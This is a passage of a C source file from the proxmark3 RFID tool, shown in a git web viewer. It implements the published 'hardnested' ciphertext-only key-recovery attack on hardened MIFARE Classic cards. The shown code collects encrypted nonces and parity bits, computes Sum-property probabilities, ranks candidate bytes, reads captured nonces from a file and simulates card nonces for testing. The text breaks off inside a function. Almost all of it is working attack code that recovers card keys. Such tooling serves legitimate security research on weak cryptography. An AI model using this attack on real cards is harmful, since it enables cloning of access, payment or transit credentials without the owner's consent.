]> cvs.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
Merge pull request #51 from matrix/master
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16 #include "cmdhfmfhard.h"
17
18 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
19 #define GOOD_BYTES_REQUIRED 13 // default 28, could be smaller == faster
20 #define MIN_NONCES_REQUIRED 4000 // 4000-5000 could be good
21 #define NONCES_TRIGGER 2500 // every 2500 nonces check if we can crack the key
22 #define CRACKING_THRESHOLD 39.00f // as 2^39
23
24 #define END_OF_LIST_MARKER 0xFFFFFFFF
25
26 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
27 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
28 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
29 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
30 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
31 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
32 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
33 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
34 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
35 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
36 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
37 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
38 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
39 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
40 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0290 };
60
61 typedef struct noncelistentry {
62 uint32_t nonce_enc;
63 uint8_t par_enc;
64 void *next;
65 } noncelistentry_t;
66
67 typedef struct noncelist {
68 uint16_t num;
69 uint16_t Sum;
70 uint16_t Sum8_guess;
71 uint8_t BitFlip[2];
72 float Sum8_prob;
73 bool updated;
74 noncelistentry_t *first;
75 float score1, score2;
76 } noncelist_t;
77
78 static size_t nonces_to_bruteforce = 0;
79 static noncelistentry_t *brute_force_nonces[256];
80 static uint32_t cuid = 0;
81 static noncelist_t nonces[256];
82 static uint8_t best_first_bytes[256];
83 static uint16_t first_byte_Sum = 0;
84 static uint16_t first_byte_num = 0;
85 static uint16_t num_good_first_bytes = 0;
86 static uint64_t maximum_states = 0;
87 static uint64_t known_target_key;
88 static bool write_stats = false;
89 static FILE *fstats = NULL;
90
91
92 typedef enum {
93 EVEN_STATE = 0,
94 ODD_STATE = 1
95 } odd_even_t;
96
97 #define STATELIST_INDEX_WIDTH 16
98 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
99
100 typedef struct {
101 uint32_t *states[2];
102 uint32_t len[2];
103 uint32_t *index[2][STATELIST_INDEX_SIZE];
104 } partial_indexed_statelist_t;
105
106 typedef struct {
107 uint32_t *states[2];
108 uint32_t len[2];
109 void* next;
110 } statelist_t;
111
112
113 static partial_indexed_statelist_t partial_statelist[17];
114 static partial_indexed_statelist_t statelist_bitflip;
115 static statelist_t *candidates = NULL;
116
117 bool thread_check_started = false;
118 bool thread_check_done = false;
119 bool field_off = false;
120
121 pthread_t thread_check;
122
123 static void* check_thread();
124 static bool generate_candidates(uint16_t, uint16_t);
125 static bool brute_force(void);
126
127 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
128 {
129 uint8_t first_byte = nonce_enc >> 24;
130 noncelistentry_t *p1 = nonces[first_byte].first;
131 noncelistentry_t *p2 = NULL;
132
133 if (p1 == NULL) { // first nonce with this 1st byte
134 first_byte_num++;
135 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
136 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
137 // nonce_enc,
138 // par_enc,
139 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
140 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
141 }
142
143 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
144 p2 = p1;
145 p1 = p1->next;
146 }
147
148 if (p1 == NULL) { // need to add at the end of the list
149 if (p2 == NULL) { // list is empty yet. Add first entry.
150 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
151 } else { // add new entry at end of existing list.
152 p2 = p2->next = malloc(sizeof(noncelistentry_t));
153 }
154 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
155 if (p2 == NULL) { // need to insert at start of list
156 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
157 } else {
158 p2 = p2->next = malloc(sizeof(noncelistentry_t));
159 }
160 } else { // we have seen this 2nd byte before. Nothing to add or insert.
161 return (0);
162 }
163
164 // add or insert new data
165 p2->next = p1;
166 p2->nonce_enc = nonce_enc;
167 p2->par_enc = par_enc;
168
169 if(nonces_to_bruteforce < 256){
170 brute_force_nonces[nonces_to_bruteforce] = p2;
171 nonces_to_bruteforce++;
172 }
173
174 nonces[first_byte].num++;
175 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
176 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
177
178 return (1); // new nonce added
179 }
180
181 static void init_nonce_memory(void)
182 {
183 for (uint16_t i = 0; i < 256; i++) {
184 nonces[i].num = 0;
185 nonces[i].Sum = 0;
186 nonces[i].Sum8_guess = 0;
187 nonces[i].Sum8_prob = 0.0;
188 nonces[i].updated = true;
189 nonces[i].first = NULL;
190 }
191 first_byte_num = 0;
192 first_byte_Sum = 0;
193 num_good_first_bytes = 0;
194 }
195
196 static void free_nonce_list(noncelistentry_t *p)
197 {
198 if (p == NULL) {
199 return;
200 } else {
201 free_nonce_list(p->next);
202 free(p);
203 }
204 }
205
206 static void free_nonces_memory(void)
207 {
208 for (uint16_t i = 0; i < 256; i++) {
209 free_nonce_list(nonces[i].first);
210 }
211 }
212
213 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
214 {
215 uint16_t sum = 0;
216 for (uint16_t j = 0; j < 16; j++) {
217 uint32_t st = state;
218 uint16_t part_sum = 0;
219 if (odd_even == ODD_STATE) {
220 for (uint16_t i = 0; i < 5; i++) {
221 part_sum ^= filter(st);
222 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
223 }
224 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
225 } else {
226 for (uint16_t i = 0; i < 4; i++) {
227 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
228 part_sum ^= filter(st);
229 }
230 }
231 sum += part_sum;
232 }
233 return sum;
234 }
235
236 // static uint16_t SumProperty(struct Crypto1State *s)
237 // {
238 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
239 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
240 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
241 // }
242
243 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
244 {
245 // for efficient computation we are using the recursive definition
246 // (K-k+1) * (n-k+1)
247 // P(X=k) = P(X=k-1) * --------------------
248 // k * (N-K-n+k)
249 // and
250 // (N-K)*(N-K-1)*...*(N-K-n+1)
251 // P(X=0) = -----------------------------
252 // N*(N-1)*...*(N-n+1)
253
254 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
255 if (k == 0) {
256 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
257 double log_result = 0.0;
258 for (int16_t i = N-K; i >= N-K-n+1; i--) {
259 log_result += log(i);
260 }
261 for (int16_t i = N; i >= N-n+1; i--) {
262 log_result -= log(i);
263 }
264 if ( log_result > 0 )
265 return exp(log_result);
266 else
267 return 0.0;
268 } else {
269 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
270 double log_result = 0.0;
271 for (int16_t i = k+1; i <= n; i++) {
272 log_result += log(i);
273 }
274 for (int16_t i = K+1; i <= N; i++) {
275 log_result -= log(i);
276 }
277 return exp(log_result);
278 } else { // recursion
279 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
280 }
281 }
282 }
283
284 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
285 {
286 const uint16_t N = 256;
287
288 if (k > K || p_K[K] == 0.0) return 0.0;
289
290 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
291 double p_S_is_K = p_K[K];
292 double p_T_is_k = 0;
293 for (uint16_t i = 0; i <= 256; i++) {
294 if (p_K[i] != 0.0) {
295 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
296 }
297 }
298 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
299 }
300
301
302 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
303 {
304 static const uint_fast8_t common_bits_LUT[256] = {
305 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
306 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
307 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
308 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
309 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
321 };
322
323 return common_bits_LUT[bytes_diff];
324 }
325
326 static void Tests()
327 {
328 // printf("Tests: Partial Statelist sizes\n");
329 // for (uint16_t i = 0; i <= 16; i+=2) {
330 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
331 // }
332 // for (uint16_t i = 0; i <= 16; i+=2) {
333 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
334 // }
335
336 // #define NUM_STATISTICS 100000
337 // uint32_t statistics_odd[17];
338 // uint64_t statistics[257];
339 // uint32_t statistics_even[17];
340 // struct Crypto1State cs;
341 // time_t time1 = clock();
342
343 // for (uint16_t i = 0; i < 257; i++) {
344 // statistics[i] = 0;
345 // }
346 // for (uint16_t i = 0; i < 17; i++) {
347 // statistics_odd[i] = 0;
348 // statistics_even[i] = 0;
349 // }
350
351 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
352 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
353 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
354 // uint16_t sum_property = SumProperty(&cs);
355 // statistics[sum_property] += 1;
356 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
357 // statistics_even[sum_property]++;
358 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
359 // statistics_odd[sum_property]++;
360 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
361 // }
362
363 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
364 // for (uint16_t i = 0; i < 257; i++) {
365 // if (statistics[i] != 0) {
366 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
367 // }
368 // }
369 // for (uint16_t i = 0; i <= 16; i++) {
370 // if (statistics_odd[i] != 0) {
371 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
372 // }
373 // }
374 // for (uint16_t i = 0; i <= 16; i++) {
375 // if (statistics_odd[i] != 0) {
376 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
377 // }
378 // }
379
380 // printf("Tests: Sum Probabilities based on Partial Sums\n");
381 // for (uint16_t i = 0; i < 257; i++) {
382 // statistics[i] = 0;
383 // }
384 // uint64_t num_states = 0;
385 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
386 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
387 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
388 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
389 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
390 // }
391 // }
392 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
393 // for (uint16_t i = 0; i < 257; i++) {
394 // if (statistics[i] != 0) {
395 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
396 // }
397 // }
398
399 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
400 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
401 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
402 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
403 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
404 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
405 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
406
407 // struct Crypto1State *pcs;
408 // pcs = crypto1_create(0xffffffffffff);
409 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
410 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
411 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
412 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
413 // best_first_bytes[0],
414 // SumProperty(pcs),
415 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
416 // //test_state_odd = pcs->odd & 0x00ffffff;
417 // //test_state_even = pcs->even & 0x00ffffff;
418 // crypto1_destroy(pcs);
419 // pcs = crypto1_create(0xa0a1a2a3a4a5);
420 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
421 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
422 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
423 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
424 // best_first_bytes[0],
425 // SumProperty(pcs),
426 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
427 // //test_state_odd = pcs->odd & 0x00ffffff;
428 // //test_state_even = pcs->even & 0x00ffffff;
429 // crypto1_destroy(pcs);
430 // pcs = crypto1_create(0xa6b9aa97b955);
431 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
432 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
433 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
434 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
435 // best_first_bytes[0],
436 // SumProperty(pcs),
437 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
438 //test_state_odd = pcs->odd & 0x00ffffff;
439 //test_state_even = pcs->even & 0x00ffffff;
440 // crypto1_destroy(pcs);
441
442
443 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
444
445 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
446 // for (uint16_t i = 0; i < 256; i++) {
447 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
448 // if (i % 8 == 7) {
449 // printf("\n");
450 // }
451 // }
452
453 // printf("\nTests: Sorted First Bytes:\n");
454 // for (uint16_t i = 0; i < 256; i++) {
455 // uint8_t best_byte = best_first_bytes[i];
456 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
457 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
458 // i, best_byte,
459 // nonces[best_byte].num,
460 // nonces[best_byte].Sum,
461 // nonces[best_byte].Sum8_guess,
462 // nonces[best_byte].Sum8_prob * 100,
463 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
464 // //nonces[best_byte].score1,
465 // //nonces[best_byte].score2
466 // );
467 // }
468
469 // printf("\nTests: parity performance\n");
470 // time_t time1p = clock();
471 // uint32_t par_sum = 0;
472 // for (uint32_t i = 0; i < 100000000; i++) {
473 // par_sum += parity(i);
474 // }
475 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
476
477 // time1p = clock();
478 // par_sum = 0;
479 // for (uint32_t i = 0; i < 100000000; i++) {
480 // par_sum += evenparity32(i);
481 // }
482 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
483
484
485 }
486
487 static void sort_best_first_bytes(void)
488 {
489 // sort based on probability for correct guess
490 for (uint16_t i = 0; i < 256; i++ ) {
491 uint16_t j = 0;
492 float prob1 = nonces[i].Sum8_prob;
493 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
494 while (prob1 < prob2 && j < i) {
495 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
496 }
497 if (j < i) {
498 for (uint16_t k = i; k > j; k--) {
499 best_first_bytes[k] = best_first_bytes[k-1];
500 }
501 }
502 best_first_bytes[j] = i;
503 }
504
505 // determine how many are above the CONFIDENCE_THRESHOLD
506 uint16_t num_good_nonces = 0;
507 for (uint16_t i = 0; i < 256; i++) {
508 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
509 ++num_good_nonces;
510 }
511 }
512
513 uint16_t best_first_byte = 0;
514
515 // select the best possible first byte based on number of common bits with all {b'}
516 // uint16_t max_common_bits = 0;
517 // for (uint16_t i = 0; i < num_good_nonces; i++) {
518 // uint16_t sum_common_bits = 0;
519 // for (uint16_t j = 0; j < num_good_nonces; j++) {
520 // if (i != j) {
521 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
522 // }
523 // }
524 // if (sum_common_bits > max_common_bits) {
525 // max_common_bits = sum_common_bits;
526 // best_first_byte = i;
527 // }
528 // }
529
530 // select best possible first byte {b} based on least likely sum/bitflip property
531 float min_p_K = 1.0;
532 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
533 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
534 float bitflip_prob = 1.0;
535 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
536 bitflip_prob = 0.09375;
537 }
538 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
539 if (p_K[sum8] * bitflip_prob <= min_p_K) {
540 min_p_K = p_K[sum8] * bitflip_prob;
541 }
542 }
543
544
545 // use number of commmon bits as a tie breaker
546 uint16_t max_common_bits = 0;
547 for (uint16_t i = 0; i < num_good_nonces; i++) {
548 float bitflip_prob = 1.0;
549 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
550 bitflip_prob = 0.09375;
551 }
552 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
553 uint16_t sum_common_bits = 0;
554 for (uint16_t j = 0; j < num_good_nonces; j++) {
555 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
556 }
557 nonces[best_first_bytes[i]].score2 = sum_common_bits;
558 if (sum_common_bits > max_common_bits) {
559 max_common_bits = sum_common_bits;
560 best_first_byte = i;
561 }
562 }
563 }
564
565 // swap best possible first byte to the pole position
566 uint16_t temp = best_first_bytes[0];
567 best_first_bytes[0] = best_first_bytes[best_first_byte];
568 best_first_bytes[best_first_byte] = temp;
569
570 }
571
572 static uint16_t estimate_second_byte_sum(void)
573 {
574
575 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
576 float Sum8_prob = 0.0;
577 uint16_t Sum8 = 0;
578 if (nonces[first_byte].updated) {
579 for (uint16_t sum = 0; sum <= 256; sum++) {
580 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
581 if (prob > Sum8_prob) {
582 Sum8_prob = prob;
583 Sum8 = sum;
584 }
585 }
586 nonces[first_byte].Sum8_guess = Sum8;
587 nonces[first_byte].Sum8_prob = Sum8_prob;
588 nonces[first_byte].updated = false;
589 }
590 }
591
592 sort_best_first_bytes();
593
594 uint16_t num_good_nonces = 0;
595 for (uint16_t i = 0; i < 256; i++) {
596 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
597 ++num_good_nonces;
598 }
599 }
600
601 return num_good_nonces;
602 }
603
604 static int read_nonce_file(void)
605 {
606 FILE *fnonces = NULL;
607 uint8_t trgBlockNo = 0;
608 uint8_t trgKeyType = 0;
609 uint8_t read_buf[9];
610 uint32_t nt_enc1 = 0, nt_enc2 = 0;
611 uint8_t par_enc = 0;
612 int total_num_nonces = 0;
613
614 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
615 PrintAndLog("Could not open file nonces.bin");
616 return 1;
617 }
618
619 PrintAndLog("Reading nonces from file nonces.bin...");
620 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
621 if ( bytes_read == 0) {
622 PrintAndLog("File reading error.");
623 fclose(fnonces);
624 fnonces = NULL;
625 return 1;
626 }
627 cuid = bytes_to_num(read_buf, 4);
628 trgBlockNo = bytes_to_num(read_buf+4, 1);
629 trgKeyType = bytes_to_num(read_buf+5, 1);
630
631 while (fread(read_buf, 1, 9, fnonces) == 9) {
632 nt_enc1 = bytes_to_num(read_buf, 4);
633 nt_enc2 = bytes_to_num(read_buf+4, 4);
634 par_enc = bytes_to_num(read_buf+8, 1);
635 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
636 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
637 add_nonce(nt_enc1, par_enc >> 4);
638 add_nonce(nt_enc2, par_enc & 0x0f);
639 total_num_nonces += 2;
640 }
641 fclose(fnonces);
642 fnonces = NULL;
643 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
644 return 0;
645 }
646
647 static void Check_for_FilterFlipProperties(void)
648 {
649 printf("Checking for Filter Flip Properties...\n");
650
651 uint16_t num_bitflips = 0;
652
653 for (uint16_t i = 0; i < 256; i++) {
654 nonces[i].BitFlip[ODD_STATE] = false;
655 nonces[i].BitFlip[EVEN_STATE] = false;
656 }
657
658 for (uint16_t i = 0; i < 256; i++) {
659 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
660 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
661 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
662
663 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
664 nonces[i].BitFlip[ODD_STATE] = true;
665 num_bitflips++;
666 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
667 nonces[i].BitFlip[EVEN_STATE] = true;
668 num_bitflips++;
669 }
670 }
671
672 if (write_stats) {
673 fprintf(fstats, "%d;", num_bitflips);
674 }
675 }
676
677 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
678 {
679 struct Crypto1State sim_cs = {0, 0};
680 // init cryptostate with key:
681 for(int8_t i = 47; i > 0; i -= 2) {
682 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
683 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
684 }
685
686 *par_enc = 0;
687 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
688 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
689 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
690 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
691 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
692 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
693 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
694 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
695 }
696
697 }
698
699 static void simulate_acquire_nonces()
700 {
701 clock_t time1 = clock();
702 bool filter_flip_checked = false;
